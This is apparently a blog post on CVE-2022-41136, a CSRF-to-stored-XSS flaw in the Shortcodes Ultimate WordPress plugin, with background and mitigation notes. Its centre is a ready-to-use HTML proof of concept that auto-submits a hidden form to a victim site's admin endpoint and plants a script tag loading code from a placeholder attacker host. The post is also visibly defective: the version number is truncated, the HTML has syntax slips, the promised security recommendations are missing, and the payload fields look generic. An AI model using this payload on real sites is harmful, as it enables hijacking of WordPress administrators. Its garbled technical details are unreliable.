Cybersecurity researchers have discovered a critical vulnerability in Vladimir Anokhin's Shortcodes Ultimate plugin for WordPress, which could allow an attacker to perform a Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) attacks. The vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2022-41136. In this post, we will break down the vulnerability's details, demonstrate how it can be exploited, and provide resources to help mitigate the risk.

Background

Vladimir Anokhin's Shortcodes Ultimate plugin is a popular WordPress plugin that provides a vast collection of shortcodes for various web design elements, making it easier for website owners to customize their sites. The plugin has over 800,000 active installations, making it one of the widely used plugins in the WordPress ecosystem. However, the plugin's popularity and widespread use also make it a prime target for cybercriminals seeking to exploit vulnerabilities in websites running the plugin.

Vulnerability Details

The vulnerability found in the Shortcodes Ultimate plugin (version <= 5.12.) stems from improper handling of user input data, making it susceptible to CSRF attacks, which could lead to Stored XSS. This type of attack occurs when a user inadvertently submits a malicious request on behalf of an attacker, which then triggers the execution of malicious scripts on the website. In this case, an attacker could steal sensitive information, deface the website, or perform other harmful actions.

Exploit

To exploit this vulnerability, an attacker would first need to craft a malicious HTML page containing a form that can trigger the CSRF attack. This form would submit a request to the vulnerable WordPress site with a malicious shortcode containing an XSS payload. When an administrator with the right privileges submits the form by clicking a disguised link or visiting a malicious web page, the malicious payload would be executed, causing the stored XSS to trigger.

Below is a sample code snippet demonstrating the attack

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF Exploit</title>
  <script type="text/javascript">
    function submitCSRF() {
      document.forms['csrf_form'].submit();
    }
  </script>
</head>
<body onLoad="submitCSRF()">
  <form action="https://VICTIM_WEBSITE/wp-admin/admin-post.php"; method="POST" id="csrf_form"">
    <input type="hidden" name="su_action" value="add_shortcode"/>
    <input type="hidden" name="shortcode[name]" value="Exploit"/>
    <input type="hidden" name="shortcode[code]" value="&lt;script src=&#x22;https://ATTACKER_WEBSITE/malicious.js&#x22;&gt;&lt;/script&gt;"/>;
    <input type="hidden" name="nonce" value="ANY"/>
    <input style="display:none" id="submit" type="submit" value="submit"/>
  </form>
</body>
</html>

Mitigation and Recommendations

The immediate solution to prevent exploitation of this vulnerability is to update the Shortcodes Ultimate plugin to the latest version, which includes a fix for the vulnerability. Moreover, following these general security recommendations can help protect your WordPress site from future vulnerabilities:

Original Reference

For more detailed information on this vulnerability, you can refer to the official CVE entry CVE-2022-41136 and the related security advisory on Vladimir Anokhin's website.

Conclusion

CVE-2022-41136 is a critical vulnerability affecting the Shortcodes Ultimate plugin for WordPress, which could lead to CSRF attacks and Stored XSS if left unpatched. By understanding the exploit details and taking the necessary mitigation steps, you can help protect your website from this vulnerability and ensure a more secure user experience for your visitors.

Timeline

Published on: 11/08/2022 19:15:00 UTC
Last modified on: 11/09/2022 13:48:00 UTC